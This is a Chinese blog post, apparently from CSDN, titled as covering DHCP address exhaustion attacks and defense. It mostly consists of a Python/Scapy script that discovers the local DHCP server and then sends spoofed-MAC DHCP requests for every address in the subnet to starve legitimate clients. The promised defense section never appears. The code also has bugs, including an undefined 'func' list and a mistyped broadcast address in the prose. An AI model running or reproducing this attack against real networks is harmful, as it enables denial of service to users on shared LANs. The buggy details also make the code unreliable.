DHCP地址耗尽攻击及防御

最新推荐文章于 2025-02-19 21:30:00 发布

键盘侠伍十七

最新推荐文章于 2025-02-19 21:30:00 发布

阅读量1.2k

点赞数 24

文章标签：网络网络安全 dhcp地址耗尽攻击

本文链接：https://blog.csdn.net/weixin_43178927/article/details/136619857

版权

本文介绍了一个使用Python和Scapy库编写的DHCP攻击脚本，通过获取DHCP服务器信息，实施地址抢占攻击。脚本包含获取DHCP服务器IP、监听匹配响应和执行DHCP攻击的多线程过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

简介

使用Python编写DHCP攻击脚本，通过Scapy库模拟发送和接收DHCP数据包。它首先获取网络中的DHCP服务器地址和子网掩码信息，然后实施DHCP地址抢占攻击，尝试分配并占用大量IP地址，从而导致合法客户端无法正常获取IP地址。

步骤

获取DHCP服务器IP：getdhcpip函数负责构造并发送一个DHCP发现请求包至全网广播地址（255.255.255.255），以获取DHCP服务器的响应。
监听并匹配DHCP响应：matchpacket函数监听网络流量，并过滤出目标为255.255.255.55的UDP数据包，从中提取出DHCP服务器的IP地址及当前子网掩码信息。
实施DHCP攻击：当获取到DHCP服务器IP与子网掩码后，dhcp_attack函数根据子网掩码计算可抢占的IP范围，然后针对每个可能的IP地址构造DHCP请求包，模拟多个客户端请求IP地址，从而发起DHCP地址抢占攻击。
多线程执行：main函数创建并启动多个线程，分别运行上述三个函数，确保同时进行DHCP服务器IP获取、响应匹配以及地址抢占攻击。

代码实现

#!/usr/bin/env python

from scapy.all import *
from time import ctime, sleep
from threading import Thread, Lock
import IPy

# 全局变量
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'


def getdhcpip():
    """
    获取DHCP服务器的IP地址。
    全局变量：flag, 用于控制循环的继续或停止
    """
    global flag
    print("[+] Geting The DHCP server IP Address!")
    while flag == 0:
        # 使用指定的网卡和随机的MAC地址发送DHCP发现请求
        tap_interface = 'eth0'
        src_mac_address = RandMAC()
        ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_address, type=0x800)
        ip = IP(src='0.0.0.0', dst='255.255.255.255')
        udp = UDP(sport=68, dport=67)
        fam, hw = get_if_raw_hwaddr(tap_interface)
        bootp = BOOTP(chaddr=hw, ciaddr='0.0.0.0', xid=0x01020304, flags=1)
        dhcp = DHCP(options=[("message-type", "discover"), "end"])
        packet = ethernet / ip / udp / bootp / dhcp
        sendp(packet, count=1, verbose=0)
        sleep(0.1)


def matchpacket():
    """
    监听网络，匹配DHCP服务器的响应。
    全局变量：flag, dhcp_address, current_subnet
    """
    global flag
    global dhcp_address
    global current_subnet
    while flag == 0:
        try:
            # 捕获UDP包，过滤条件为UDP且目标地址为255.255.255.255
            a = sniff(filter='udp and dst 255.255.255.255', iface='eth0', count=2)
            current_subnet = a[1][1][3].options[1][1]
            dhcp_address = a[1][1][0].src
            # 如果获取到的DHCP服务器地址和子网掩码不为'0.0.0.0'，则停止循环
            if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
                flag = 1
                print("[+] The DHCP SERVER IP ADDRESS IS " + dhcp_address + "\r\n")
                print("[+] CURRENT NETMASK IS " + current_subnet + "\r\n")
        except:
            pass  # 忽略捕获到的异常
        time.sleep(0.1)


def dhcp_attack():
    """
    实施DHCP攻击，抢占网络地址。
    全局变量：dhcp_address, current_subnet
    """
    global dhcp_address
    address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
    address = address_info.split('/')[0]
    address = address.replace('.0', '')
    netmask = address_info.split('/')[1]
    max_sub_number = 2 ** (32 - int(netmask)) - 2
    bin_ip = address_info.split('/')[0].split('.')

    ip_info = ''
    for i in range(0, 4):
        string = str(bin(int(bin_ip[i]))).replace('0b', '')
        if (len(string) != 8):
            for i in range(0, 8 - len(string)):
                string = "0" + string
        ip_info = ip_info + str(string)

    for i in range(1, max_sub_number + 1):
        ip = str(bin(int(ip_info, 2) + i))[2:]
        need_address = str(int(ip[0:8], 2)) + '.' + str(int(ip[8:16], 2)) + '.' + str(int(ip[16:24], 2)) + '.' + str(
            int(ip[24:32], 2))
        rand_mac_address = RandMAC()
        dhcp_attack_packet = Ether(src=rand_mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src='0.0.0.0',
                                                                                       dst='255.255.255.255') / UDP(
            sport=68, dport=67) / BOOTP(chaddr=rand_mac_address) / DHCP(
            options=[("message-type", 'request'), ("server_id", dhcp_address), ("requested_addr", need_address), "end"])
        sendp(dhcp_attack_packet, verbose=0)
        print("[+] USE IP: " + need_address + " Attacking " + dhcp_address + " Now!")


def main():
    """
    创建线程并启动DHCP攻击。
    """
    threads = []
    for i in range(0, len(func)):
        t1 = Thread(target=func[i])
        threads.append(t1)
    for t in threads:
        t.setDaemon(True)
        t.start()
    for t in threads:
        t.join()
    dhcp_attack()


if __name__ == '__main__':
    main()
    print("[+] Attack Over!")